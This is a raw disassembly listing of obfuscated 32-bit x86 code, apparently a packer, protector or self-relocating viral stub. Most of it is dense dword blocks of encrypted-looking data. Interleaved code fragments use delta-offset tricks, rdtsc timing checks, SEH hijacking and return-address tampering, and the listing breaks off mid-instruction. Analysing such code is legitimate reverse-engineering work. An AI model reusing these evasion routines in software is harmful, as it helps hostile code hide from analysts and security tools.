19h inc esi push esi retn sub_5B6DAA endp ; --------------------------------------------------------------------------- dw 0A676h dd 9DCEDA30h, 21D99589h, 0BD8305F9h, 5F900FDh, 78840F00h dd 66000004h, 0BD83F88Bh, 5F900FDh, 83840F01h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0B0DEC357h, 0E3CDAA54h, 11E8F9h, 78050000h dd 0CC93BB7Fh, 0DCE35A9Ch, 0AE1A962Ah, 0E8811611h, 0Ch dd 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 919D89h, 5F5B05F9h dd 277D8531h, 0BD8305F9h, 5F900FDh, 0E9860F03h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0AB1AC351h, 6A60F8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 805C98C3h, 8C66E4EFh dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 88A0F17h, 56000000h, 1F599D8Bh, 605F05F9h dd 174DBD09h, 806105F9h, 800F04E1h, 6, 9B59D89h, 0C90A05F9h dd 128840Fh, 800F0000h, 6, 5C98D09h, 858B05F9h, 5F92599h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 27C35040h dd 0C38C6107h, 0A32B775Dh, 42D8533h, 6A05F9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B3903CC3h dd 99050AEh, 0F924358Dh, 29006A05h, 0F919C59Dh, 0BDBD8B05h dd 6805F904h, 8073CA0Eh, 0F1240481h, 6A7FAB39h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 6969C351h, 9B2838B9h, 19959D8Bh, 0FA8B05F9h, 2AC595FFh dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0F8FCBDC3h, 68C0Fh, 9D8B0000h, 5F9220Dh dd 0FC218589h, 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0B41DF1C3h, 0CBD04FCCh, 0E9FCD084h dd 1C0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 64C35747h, 84D87714h, 858B600Fh, 5FCFC19h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 78C35545h, 8FBB1B19h dd 0A921556Eh, 198D895Ah, 0C705F90Ch, 1800h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0FCEF96B9h, 79FA118Ah, 8BDF8B66h, 0F929E5BDh, 1DB58B05h dd 0BF05FCFCh, 6F8B6F55h, 2B89858Bh, 6A05F9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9114EC3h dd 0Ah, 94E6FDBAh, 0C7B96E2Bh, 689E866h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 70C35141h, 2FF0AE0Bh dd 81669720h, 8B9A0DDFh, 0F912599Dh, 99858B05h, 6A05F925h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 9143C350h, 9457BB83h, 8D29956Ah, 5F90D6Dh dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0BE03C350h, 50D98B96h, 0DA8B5250h dd 0F88B310Fh, 8996585Ah, 0F9070195h, 19B5FF05h, 6A05FCFCh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 68FCC357h, 0B1B1CA8Ch, 73240481h, 0BB4E6D39h dd 703809ABh, 2431BD8Bh, 858D05F9h, 5FCFC21h, 13E9h, 22F12D00h dd 1A7ED09Ch, 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 8B665090h dd 0BD8990F8h, 5F907DDh, 2AC595FFh, 0D88B05F9h, 52006A61h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0B589FFF3h, 5F92745h, 0FD85C7h, 305F9h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 46ADB3C3h, 23F5555Ah, 0FC21BD83h, 0F0005FCh, 3B84h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 687013F5h, 572B81BFh, 68B0F2Eh, 2B000000h dd 0F931C19Dh, 21E905h, 85010000h, 5F90D35h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0BFC08B00h, 6992D7BFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 59C35646h dd 0BF84B307h, 1FBACDEDh, 0FDBD83h, 0F0305F9h, 49385h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0ADDD06DFh, 0E9958940h, 8105F933h, 0BCE10AE3h dd 21BD8366h, 5FCFCh, 45A840Fh, 27BF0000h, 0FF1CAEA9h dd 0FCFC21B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 9EACF2F1h, 95FFEC49h dd 5F91AADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 56C35646h, 50418FB4h, 3F3C37Ah, 0F90AF9BDh, 15B58B05h dd 0C705FCFCh, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0A0B5B86Ah, 0BBB726EFh dd 0FE850h, 35CC0000h, 0EB7225Ah, 13FCA6EAh, 3C6F4DE9h dd 5B5056F0h, 34895B5Bh, 0EE924h, 30AF0000h, 4EE59C6Dh dd 8C2EDC87h, 0D9E8BC06h, 0FC21B5FFh, 6A05FCh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 6ACA96C3h, 87ECB80Bh, 5FF78166h, 2995FF91h, 0E805F927h dd 12h, 0FDD8B6A4h, 383EA6CCh, 0D7179C77h, 0C9AE829Eh dd 8589B4ADh, 5F93291h, 15B58B5Bh, 8B05FCFCh, 9858BFAh dd 6A05F918h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 55FC355h, 95311899h, 5F929A5h dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0C1A946C3h, 0E1326AFBh, 0E956D4A3h dd 10h, 82D91466h, 7092364Fh, 0CD167531h, 618EBE17h, 0DD958B5Bh dd 6A05F90Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0D20FC356h, 467C0C16h, 6830F4Bh dd 81000000h, 0B2CE02CFh, 4C2837Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 1FC35545h, 921951E0h, 50898429h dd 8D5B5120h, 0FD10E985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 518D89C0h dd 8905F90Bh, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0F88B6666h, 0BD8B006Ah dd 5F904D9h, 0FF9EDF80h, 0FCFC21B5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 3820FA2h, 0F000000h dd 95FFD8B7h, 5F90099h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0EC35242h, 8B66F850h, 506050FBh, 13E852h dd 73130000h, 0D74A33DBh, 0F1A9965Bh, 401E266h, 0D8FD4CF4h dd 310F5B6Ah, 585AD98Ah, 880Fh, 89610000h, 6A2434h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D500AC3h, 0B5FF6657h, 5FCFC21h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D2C35646h, 0BE322908h dd 71CDA0E3h, 0B810F10h, 0E9000000h, 6, 6360B78h, 0BD2B1AB6h dd 5F917E9h, 356995FFh, 0BF6605F9h, 0BD8371C9h, 5F917F5h dd 44840F00h, 0E9000000h, 0Ah, 4EBBAC65h, 0B934B9BDh, 0E95036DDh dd 8, 20DD2BF9h, 0A6F45635h, 6A243489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A352C350h dd 0DD6E473Fh, 0FF06A9C5h, 0FCFC21B5h, 95FFFC05h, 5F92E6Dh dd 0B459D8Bh, 0B5FF05F9h, 5FCFC21h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 38C35242h, 0BAB8151h, 0D45839Bh dd 21DD95FFh, 0BD8305F9h, 5F90A2Dh, 65840F02h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 7C02C351h, 89A881FCh, 0F90D9185h, 51858B05h dd 6A05F911h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0EA71C356h, 2D86E19Fh, 0E90000C6h dd 0Eh, 27491B97h, 52593674h, 0EF095A82h, 0FA8B1F29h, 331985C7h dd 5F9h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 1A7A01C3h, 0F508EE3Ah, 9D8B4358h dd 5F92BA1h, 0FFF263E9h, 85BD8BFFh, 8B05F926h, 56006AC1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0D6A17694h, 8503C5BBh, 0C1858D2Dh, 105F90Dh, 0F92B1DBDh dd 0F6BF9005h, 5017268Eh, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 5638E797h dd 6AE331h, 7E9h, 0F4C3E00h, 7C87AE38h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4AC47CC3h, 0C375858Dh, 6A05FDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B521A9C3h, 0C08325EFh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0A9290181h, 0BD8B9992h, 5F90D49h, 52505750h dd 310F6160h, 712D6BBh, 5B585A36h, 0E8240489h, 0Ah, 0BDA13F6Dh dd 7E64A6E2h, 9D8BD546h, 5F92699h, 25B5015Bh, 6A05F910h dd 6A006A00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1B0FC352h, 63FA0301h, 0FFF9B70Fh dd 0F913ED95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 1F4D19E2h, 816E939Dh dd 0C01BDBEFh, 838D8D09h, 6605FCE9h, 0D1FFFA8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B6C35242h, 1785BD83h dd 0F0105F9h, 7985h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6A026A68h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 509BC350h dd 11E9h, 0E43EBA00h, 32B6EE40h, 0D6419D55h, 5323BCEFh dd 489FDFFh, 8971B324h, 0F9348DB5h, 9995FF05h, 0F05F900h dd 68Dh, 0D9D0B00h, 6005F910h, 253D9589h, 0BF0F05F9h, 25E961DFh dd 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FDC37Fh sub edi, [ebp+5F92CD9h] mov [ebp+5F9268Dh], edx push ecx push ecx sub edi, 0EAE032Ah pop ebx pop edi lea eax, [ebp+5FCD97Ch] movzx ebx, bx nop jmp loc_5B79AA ; --------------------------------------------------------------------------- dd 5AA3BF81h, 5D51DC00h, 294F1B4Dh, 320D8D3Fh db 1Ah, 82h ; --------------------------------------------------------------------------- loc_5B79AA: ; CODE XREF: .XComp0:005B7993j push eax jge loc_5B79BB push eax push edx pusha popa rdtsc mov bh, dl pop edx pop eax loc_5B79BB: ; CODE XREF: .XComp0:005B79ABj nop push 0 push ecx call sub_5B79C7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B79C7 proc near ; CODE XREF: .XComp0:005B79BFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B79C7 endp ; --------------------------------------------------------------------------- pop eax movsx ebx, ax push large dword ptr fs:0 mov [ebp+5F9353Dh], eax mov large fs:0, esp mov bx, 0C757h inc dword ptr [ebp+5F9197Dh] mov [ebp+5F90049h], ecx clc push 0FFFFFFFFh push 0 push ebx call sub_5B7A0D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7A0D proc near ; CODE XREF: .XComp0:005B7A05p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B7A0D endp ; --------------------------------------------------------------------------- db 72h, 0FEh, 1Ah ; --------------------------------------------------------------------------- jnp loc_5B7A35 jmp loc_5B7A35 ; --------------------------------------------------------------------------- db 8 dd 87F21A02h, 9690F530h db 0 ; --------------------------------------------------------------------------- loc_5B7A35: ; CODE XREF: .XComp0:005B7A20j ; .XComp0:005B7A26j push dword ptr [ebp+5F91799h] call near ptr loc_5B7A46+2 sbb bh, [ecx] sbb al, bh mov cl, 73h loc_5B7A46: ; CODE XREF: .XComp0:005B7A3Bp adc [ecx+1EAD9D8Bh], esp stc add eax, 1195FF5Fh or ecx, edi add eax, 0ECE9h add [ebx-6CED263h], cl add eax, 830F00B0h push es ; --------------------------------------------------------------------------- db 3 dup(0) dd 0E399D0Bh, 70E605F9h, 8971E4F8h, 0F907099Dh, 0F613C05h dd 0C583h, 0C8B60F00h, 1009BD8Bh, 6BA05F9h, 81000000h dd 5F41BBDFh, 66C18B0Fh, 3451E781h, 8B04E8C1h, 0F914B99Dh dd 0E2F76605h, 5E8h, 0C694F300h, 0BD8B2DC2h, 5F9099Dh dd 8D29505Bh, 5F90429h, 81C82B5Bh, 557ECBCBh, 0FD18B1Ch dd 88h, 5E900h, 4EBB0000h, 8B4609D0h, 0F9124985h, 835F5105h dd 8D2907C0h, 5F90D69h, 8B00C083h, 0F927919Dh, 0FD03B05h dd 0C83h, 60BB6600h, 40E9CAh, 8B660000h, 0B98D8BDEh, 0F05F90Ch dd 0E183F8B7h, 2B840F01h, 66000000h, 8E97EB81h, 0CB9A583h dd 80FE05F9h, 47BF60DFh, 89340A49h, 0F9124995h, 68D0F05h dd 8B000000h, 0F918719Dh, 0E905h, 0B58D0000h, 5FD4155h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 61C35242h dd 0D040E661h, 0EC3C2B12h, 0B5958960h, 2905F918h, 0F9105985h dd 6A6105h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 64C35141h, 42912EEh, 92C34B5Ch, 1AED95FFh, 8B5105F9h dd 84B95BD9h, 66000008h, 0E183FA8Bh, 0CDB531FCh, 0FC05F927h dd 0D718D89h, 0C02B05F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 2CC35646h, 0DE868B7h, 20000000h, 0CE2A4426h dd 7D5D012Dh, 0BCDFE0ADh, 31259D8Bh, 0BA5F05F9h, 0 ; --------------------------------------------------------------------------- loc_5B7C04: ; CODE XREF: .XComp0:005B7C0Ej lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5B7C04 push 0 push edx call sub_5B7C1B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7C1B proc near ; CODE XREF: .XComp0:005B7C13p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5B7C1B endp ; --------------------------------------------------------------------------- db 99h dd 18636C9Eh, 2F9F3896h, 0C5BD09D9h, 6A05F932h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 9080C355h, 0DBD9D89h, 880D05F9h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0AA07C353h, 0ECF4C7Eh, 89BC53F2h, 0F92EB18Dh, 6870F05h dd 8B000000h, 0F91E49BDh, 0DD958B05h, 6005F90Ch, 17258D8Bh dd 0CE8005F9h, 8D8B6193h, 5F926C1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 94C35646h, 28ADF5D7h, 8A60F536h dd 6820FC5h, 89000000h, 0F90C299Dh, 8B506105h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0E5C35747h, 4800FE1h, 66000000h dd 0BF300CBFh, 7759BCD6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 31C35141h, 401BD8Bh, 0BD8305F9h, 5F91159h dd 80840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 10FBC356h, 8166488Dh dd 0B86C1CD3h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B7D83 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7D83 proc near ; CODE XREF: .XComp0:005B7D7Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B7D83 endp ; --------------------------------------------------------------------------- db 0E8h dd 0C04AC2E5h, 0E582AA6h, 4EE88D8Dh, 6A05F9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3D36E0C3h dd 0CCBE655Fh, 4EB74AD9h, 8166E1FFh, 83F70DEBh, 0F900FDBDh dd 840F0005h, 4ABh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 7EC35646h, 0E2644A4Eh, 0FDBD83h, 0F0105F9h dd 49984h, 60D78100h, 83481C39h, 0F900FDBDh, 860F0305h dd 450h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 6CC35242h, 6025D20Ch, 4BDBD8Bh, 8C6605F9h, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 51CE46D9h, 66EF295Fh, 177CCB81h, 8019CB80h, 8D0F04E1h dd 6, 34C19589h, 0C90A05F9h, 17A840Fh, 85890000h, 5F9344Dh dd 0BE9h, 71567800h, 0A1E7864Bh, 681C5BD5h, 2599858Bh dd 9D8905F9h, 5F934D5h, 42D8533h, 8D8905F9h, 5F9209Dh dd 52505090h, 69BF6660h, 6161605Fh, 0BE60310Fh, 5C4DF99Ah dd 5A615E51h, 6AF59058h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BE8A042h, 0DA000000h dd 7636BB74h, 0CA6AC3A3h, 0BD0376B6h, 5F9247Dh, 399D8B5Fh dd 0E805F932h, 4, 1F03FFh, 0FCAABF66h, 0E9525050h, 11h dd 71CE262Ah, 35D3FAD3h, 21DDF07h, 5DB7071Dh, 60310F83h dd 410842BBh, 615E5051h, 448B585Ah, 8B0424h, 4019E1BBh dd 24448926h, 0EFBF6604h, 6A58F5h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 44374FC3h, 0F197CF5h dd 95FFDBB7h, 5F92AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F3C35343h, 538BC46Bh, 277DDFA7h, 218589A8h dd 6A05FCFCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0D630C350h, 0B1E86448h, 66D3F28Eh dd 29EF45BBh, 0F90FA58Dh, 0C7816605h, 0ECE97B00h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0A4ECC352h, 0DD9D39F7h, 0FC19858Bh, 9D2B05FCh dd 5F91B29h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0CE7228C3h, 58A0FC5h dd 0BF000000h, 3154A91Fh, 2595BD23h, 0B58B05F9h, 5FCFC1Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h dd 26659D8Bh, 858B05F9h, 5F92B89h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 6BC35141h, 83F64808h, 2EF5AE36h dd 0D9B70F0Bh, 0BB660689h, 858B179Bh, 5F92599h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 95C35242h, 0DE90781h dd 0DC000000h, 6441DB89h, 4050C793h, 7A94679Ah, 29044689h dd 0F9154D95h, 0E9609605h, 0Fh, 71DD428Ch, 0CFCE9C80h dd 41B74BD0h, 0F63CCA8h, 8Bh, 0E8506100h, 0Ch, 0AEAB1EDCh dd 4B076150h, 0FCE0D4CCh, 8E85250h, 0F7000000h, 0E7DD70CEh dd 5F17DC1Eh, 585A310Fh, 8C0F965Fh, 6, 34919D8Bh, 0B5FF05F9h dd 5FCFC19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 65C35545h, 9868573h, 4819D8Bh, 0D76805F9h, 8AEFF676h dd 240481DCh, 10288D28h, 21858DF5h, 905FCFCh, 0F907999Dh dd 0DA8B5005h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 5C4BC353h, 8F744E00h dd 0FE92F01h, 7B000000h, 8D0408C7h, 8DAC97F4h, 782ED02Ch dd 95FF54DEh, 5F92AC5h, 7E8h, 695D5500h, 0DE1E1915h, 1AE59D8Bh dd 615B05F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 29C35545h, 0CE34986Fh, 9A807FD7h, 6880F27h, 8B000000h dd 0F91FCD9Dh, 0C7FB8B05h, 0F900FD85h, 305h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0F858E496h, 5B06058Ah, 0C05CBB17h, 0BD8309E8h, 5FCFC21h dd 2D840F00h, 8B000000h, 0F92671BDh, 3DE905h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 6F139AC3h, 0FB8B7A22h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 2C65C352h, 0A4489668h dd 19199D29h, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 3A2CC3h, 209425FCh, 0BE5A942h, 0F926E5BDh dd 0FDBD8305h, 305F900h, 459850Fh, 880F0000h, 4, 95A7BB66h dd 0FC21BD83h, 0F0005FCh, 44284h, 574DB700h, 2041BD8Bh dd 0FF5B05F9h, 0FCFC21B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0AC2A32FDh dd 9CAD6136h, 6860F25h, 89000000h, 0F931258Dh, 0AD95FF05h dd 6A05F91Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CB69C350h, 2810Fh, 0DA8A0000h dd 0C19D2960h, 6105F912h, 0FC15B58Bh, 6A05FCh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F8CB84C3h, 0D625D687h, 8DBF4FEBh, 0C7781317h, 1000106h dd 6E85700h, 81000000h, 4F505C3Bh, 0CE914h, 68BD0000h dd 8DE684C1h, 0AFE59F4Eh, 5F5F9B7Ch, 6101C381h, 6650310Dh dd 3489F98Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0E549398Bh, 8998E6A9h, 0F905B9B5h dd 0B5FFF805h, 5FCFC21h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 72C35141h, 3A99378Ah, 0BD8B93EBh, 5F917E9h dd 272995FFh, 0F6005F9h, 685h, 8E0F00h, 66000000h, 6169BFBBh dd 0FC15B58Bh, 958905FCh, 5F90585h, 1809858Bh, 6A05F9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0C5E9FBC3h, 868957FDh, 0C4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0A4C35242h, 0F098FB9Fh, 0C47EBF66h dd 0CDD958Bh, 0BF6605F9h, 8B66E2DCh, 4C283F8h, 1F71BD8Bh dd 8B6605F9h, 205089DAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A7C35141h, 0E9858DC9h, 6A05FD10h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0E057C356h, 714FF319h, 0EE9h, 0FA8DDA00h, 65CAB3CDh dd 0D74BB03Bh, 0FEC02F2h, 584h, 0D3816600h, 8689F6DAh dd 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0ACC35646h, 6ABC78h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B6C35040h dd 0DD733DC2h, 8B66E778h, 21B5FFFAh, 6A05FCFCh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0D93CC353h, 8B14671Ah, 0F905E9BDh, 9995FF05h, 8B05F900h dd 0F913D5BDh, 3BBB9605h, 507E338Dh, 6E8h, 3FC3600h, 0E9658D07h dd 14h, 0B14D43BBh, 0E50E9879h, 0C459F0A8h, 1F07F551h dd 7FE656D7h, 0BD2B965Bh, 5F9249Dh, 0FC21B5FFh, 6A05FCh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 338813C3h, 868EDDC1h, 0B3154C0Ch, 0E19D8B3Dh, 0FF05F911h dd 0F9356995h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BD838964h, 5F917F5h dd 33840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 3A95C355h, 547C9AFFh dd 6E85096h, 0A1000000h, 0CB0AF7DFh, 66965BD6h, 0B5FFFB8Bh dd 5FCFC21h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0B8C35040h, 0AEE5BC59h, 0BEAFF76Ah, 10B59D03h dd 95FF05F9h, 5F92E6Dh, 0FC21B5FFh, 54BB05FCh, 0FF2415BCh dd 0F921DD95h, 4DC78105h, 837C957Ah, 0F90A2DBDh, 840F0205h dd 6Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h dd 7FC35545h, 858B86B9h, 5F91151h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0CAC35242h, 0EA5BDB5Bh, 6B026BE1h dd 0C6F8B5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D5BD2B60h, 0C705F90Fh, 0F9331985h dd 5, 31950100h, 0E905F912h, 0FFFFF284h, 5BFC5653h, 70E3815Fh dd 8B744B94h, 0F4E780C1h, 0DC1858Dh, 816605F9h, 90974BCBh dd 0AE853h, 35880000h, 77C54B2Eh, 0CDFB92A3h, 310F5250h dd 5F5B585Ah, 92B35150h, 0BB66905Bh, 6A75DFh, 28999D29h dd 6A05F9h, 2CBD8D89h, 858D05F9h, 5FDD319h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A0C35141h, 11E9F938h dd 2F000000h, 45C2F9Ch, 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h dd 835FF850h, 9D8B05C0h, 5F92AF1h, 6E86050h, 82000000h dd 99C63DE7h, 7E8DBh, 0FC3E0000h, 281070CBh, 51585823h dd 2F02B866h, 489615Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0FB3CA8D1h, 0FCAEB80h dd 68Fh, 9BD0B00h, 6A05F91Eh, 68D0F00h, 89000000h, 0F933B985h dd 66006A05h, 0AD2CD381h, 13ED95FFh, 6A05F9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 76C568C3h dd 838D8D30h, 6605FCE9h, 0FF5133BBh, 1AD781D1h, 8370D2E8h dd 0F91785BDh, 850F0105h, 4Ah, 0F026AF8h, 51BFDAB7h, 906EAEDBh dd 2C0EBF66h, 0DA8B6650h, 0FDC78190h, 0FF421016h, 0F9009995h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 810F5033h, 0 ; --------------------------------------------------------------------------- add [ebp+5F92D8Dh], eax jmp loc_5B95E8 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 5FDD323h push 